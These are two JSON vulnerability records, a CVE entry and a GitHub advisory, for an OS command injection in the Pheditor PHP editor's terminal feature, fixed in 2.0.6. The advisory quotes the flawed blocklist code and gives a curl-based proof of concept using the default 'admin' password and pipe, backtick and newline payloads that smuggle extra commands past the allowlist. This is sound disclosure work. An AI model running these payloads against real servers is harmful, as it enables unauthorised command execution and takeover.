{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pheditor",
          "vendor": "pheditor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.1, \u003c 2.0.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, the terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This issue has been patched in version 2.0.6."
    }
  ],
  "id": "CVE-2026-55578",
  "lastModified": "2026-07-27T20:32:11.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-27T18:16:56.730",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/advisories/GHSA-9643-6xjp-vx57"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-wg4w-wr5q-6vjc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pheditor/pheditor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T20:10:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to `shell_exec()`. After the fix for GHSA-9643-6xjp-vx57 (which added `$` to the blocklist), the characters `|` (single pipe), `` ` `` (backtick), and the newline byte (`0x0A`) remain unblocked. An authenticated user with the `terminal` permission (enabled by default) can leverage any of these to bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user.\n\n### Details\n\nTested repository: https://github.com/pheditor/pheditor\n\nTested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`)\n\nAffected version: Pheditor 2.0.1+\n\nThe terminal handler receives `$_POST[\u0027command\u0027]` and passes it to `shell_exec()` at `pheditor.php:586`:\n\n```php\n$output = shell_exec((empty($dir) ? null : \u0027cd \u0027 . escapeshellarg($dir) . \u0027 \u0026\u0026 \u0027) . $command . \u0027 \u0026\u0026 echo \\ ; pwd\u0027);\n```\n\nThe blocklist at `pheditor.php:557` checks for `\u0026`, `;`, `||`, and `$`, but does not block `|`, `` ` ``, or newline (`0x0A`):\n\n```php\nif (strpos($command, \u0027\u0026\u0027) !== false || strpos($command, \u0027;\u0027) !== false || strpos($command, \u0027||\u0027) !== false || strpos($command, \u0027$\u0027) !== false) {\n    echo json_error(\"Illegal character(s) in command (\u0026 ; ||)\\n\");\n    exit;\n}\n```\n\nThe `TERMINAL_COMMANDS` prefix check at `pheditor.php:566-573` only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.\n\n**Bypass 1 \u2014 Single pipe `|`:**\nThe filter checks for `||` but not single `|`. Payload `ls | id` passes both the blocklist and the whitelist (starts with `ls`). The shell executes: `cd \u0027\u003cdir\u003e\u0027 \u0026\u0026 ls | id \u0026\u0026 echo \\ ; pwd`, running `id`.\n\n**Bypass 2 \u2014 Backtick `` ` ``:**\nBacktick is not in the blocklist. Payload `` echo `id` `` passes the blocklist and whitelist (starts with `echo`). The shell executes `id` inside backtick substitution.\n\n**Bypass 3 \u2014 Newline `0x0A`:**\nA literal newline byte is not in the blocklist. Payload `ls\\ntouch /tmp/proof` (where `\\n` is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.\n\n### PoC\n\n**Environment:** Any system running PHP 8.x with pheditor.php deployed and `shell_exec()` enabled.\n\n**Setup:**\n```bash\ngit clone https://github.com/pheditor/pheditor /tmp/pheditor-test\ncd /tmp/pheditor-test\nphp -S localhost:8080 pheditor.php \u0026\n```\n\n**Authenticate** (default password `admin`):\n```bash\ncurl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d \"pheditor_password=admin\" -L \u003e /dev/null\nTOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o \u0027token = \"[a-f0-9]*\"\u0027 | grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\n```\n\n**Bypass 1 (pipe `|`):**\n```bash\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls | id\" \\\n  --data-urlencode \"dir=\"\n```\nExpected: `{\"error\":false,\"message\":\"OK\",\"result\":\"uid=... gid=...\\n\",...}` \u2014 `id` output proves RCE.\n\n**Bypass 2 (backtick):**\n```bash\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \u0027command=echo `id`\u0027 \\\n  --data-urlencode \"dir=\"\n```\nExpected: Same `id` output in response.\n\n**Bypass 3 (newline 0x0A):**\n```bash\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode $\u0027command=ls\\nid\u0027 \\\n  --data-urlencode \"dir=\"\n```\nExpected: Same `id` output in response.\n\n**Control (blocked command without bypass):**\n```bash\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=whoami\" \\\n  --data-urlencode \"dir=\"\n```\nExpected: `{\"error\":true,\"message\":\"Command not allowed...\"}` \u2014 allowlist enforced.\n\n**Cleanup:**\n```bash\nkill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated Pheditor user with the `terminal` permission (enabled by default) can bypass the `TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 \u2014 that fix addressed `$()` substitution but three additional shell metacharacters remain unblocked.\n\n**Attacker privileges:** Authenticated user (PR:L). Combined with default password `admin`, effectively PR:N.\n\n**Impact:** Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).\n\n**Suggested remediation:** Parse the command into executable + arguments, validate the executable against `TERMINAL_COMMANDS` with exact match, pass each argument through `escapeshellarg()`, or use `proc_open()` with an argument array to avoid shell interpretation entirely.",
  "id": "GHSA-wg4w-wr5q-6vjc",
  "modified": "2026-07-16T20:10:47Z",
  "published": "2026-07-16T20:10:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-wg4w-wr5q-6vjc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pheditor/pheditor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection"
}